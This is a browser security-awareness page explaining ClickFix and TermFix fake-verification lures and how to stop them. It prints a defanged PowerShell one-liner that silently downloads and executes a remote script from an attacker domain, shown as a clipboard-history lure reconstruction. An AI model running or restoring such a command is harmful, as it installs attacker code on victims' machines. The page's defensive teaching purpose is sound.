Browser security awareness
ClickFix and TermFix: pause before you paste.
How fake verification and repair prompts turn an ordinary browser visit into malware execution, what the Windows Run and Terminal variants look like, and where to stop the chain.
The essential idea
ClickFix uses a person as the execution bridge.
The lure imitates a CAPTCHA, browser check, document error or repair instruction. A real CAPTCHA does not ask you to open Run, PowerShell, Command Prompt or Terminal, and it does not need clipboard history.
Before the fake fix
How ClickFix reaches a browser.
The prompt is the middle of the operation, not the beginning. Microsoft groups the main arrival routes as phishing, malicious advertising and compromised or malicious websites. Other investigations also document SEO poisoning, where malicious pages are pushed into search results for software, documents or troubleshooting terms.
Compromised page
Trusted site, injected script.
A legitimate, sometimes high-traffic or well-ranked page loads attacker-controlled JavaScript or redirects selected visitors to the lure.
Ads and search
The visitor is already looking for an answer.
Malicious ads and poisoned search results imitate software downloads, fixes, converters or support pages that match the search intent.
Phishing route
A message supplies the reason to click.
Email links, PDFs, HTML attachments and brand impersonation lead to a fake document, account check, complaint or verification flow.
Traffic selection
Not every visitor sees the same page.
JavaScript, redirectors or traffic systems may consider operating system, browser, language, IP region, referrer and cookies before showing a compatible lure.
Arrival-route references: Microsoft Threat Intelligence and Trend Micro fake-CAPTCHA case analysis.
Recognize the interface
Two shortcuts that should make you stop.
Example 1: Run-dialog lure
Pressing R opens Run
Type the name of a program, folder, document or Internet resource.
Faithful Run-dialog reconstruction from an earlier observed ClickFix case. Command defanged for publication.
Red flag: a CAPTCHA should never ask you to paste a command into Run.
Example 2: Clipboard-history lure
Pressing V opens clipboard history
powershell -w hidden -nop -c "i[r]m hxxps://dntdns[.]shop/teamrepo_stage_loader.js | i[e]x" # Please run to verify your accessPS C:\> powershell -w hidden -nop -c "i[r]m hxxps://dntdns[.]shop/teamrepo_stage_loader.js | i[e]x"Faithful clipboard-history and PowerShell reconstruction using the same defanged case one-liner.
Red flag: never choose, paste or run a clipboard item supplied by a verification page.
The interface matters
Run-dialog ClickFix and direct-shell TermFix leave different clues.
Run-dialog ClickFix
R, paste, Enter
The lure opens or points to Windows Run. Explorer-associated execution and RunMRU can preserve the handoff.
TerminalFix or TermFix
Open a shell, then V or paste, Enter
The lure directs the person to PowerShell, Windows Terminal or another shell. Some variants invoke clipboard history.
Pause before you paste
A verification page should never need your command line.
The safest response is simple: stop when a page asks you to leave the browser and run text it placed on your clipboard. Closing the page costs nothing. Running the command gives the page a path into the operating system.
Keep verification in the browser
Do not open Run or a shell.
A legitimate CAPTCHA may ask for a click, puzzle or sign-in. It does not require PowerShell, Terminal, Command Prompt, the Windows key + R or the Windows key + V.
Return by a trusted route
Close the tab and navigate again.
Open the service from a saved bookmark, a known app or an address you type yourself. Do not continue through the suspicious page or its search advertisement.
Treat copied text as code
Read before you paste anywhere.
A page can silently replace your clipboard. If it asks you to paste into a system window, assume the text may execute commands even when the page calls it a fix.
If the command already ran
Stop and get help from a clean device.
Disconnect the affected device from the network and contact your security team, help desk or a trusted incident-response professional. Do not erase the clues before they can be reviewed.
FAQ
Quick answers about the technique.
Is ClickFix a type of malware?
No. ClickFix is a social-engineering delivery and execution technique. The pasted command can retrieve a loader, infostealer, RAT, rootkit, proxy or botnet component, or another payload chosen by the operator.
What is the difference between ClickFix and TermFix?
ClickFix is often used as an umbrella term. Run-dialog ClickFix directs a person to Windows Run, while TerminalFix or TermFix directs them to PowerShell, Windows Terminal or a macOS terminal. The interface matters because it changes the artifacts left behind.
Can a legitimate CAPTCHA ask me to paste a command?
No. A legitimate CAPTCHA stays inside the browser. It does not require Windows Run, PowerShell, Command Prompt, Terminal or clipboard history.
What should I do if I already ran the command?
Disconnect the affected device from the network and contact your security team, help desk or a trusted incident-response professional from a clean device. Preserve the page, command and execution evidence if it is safe to do so.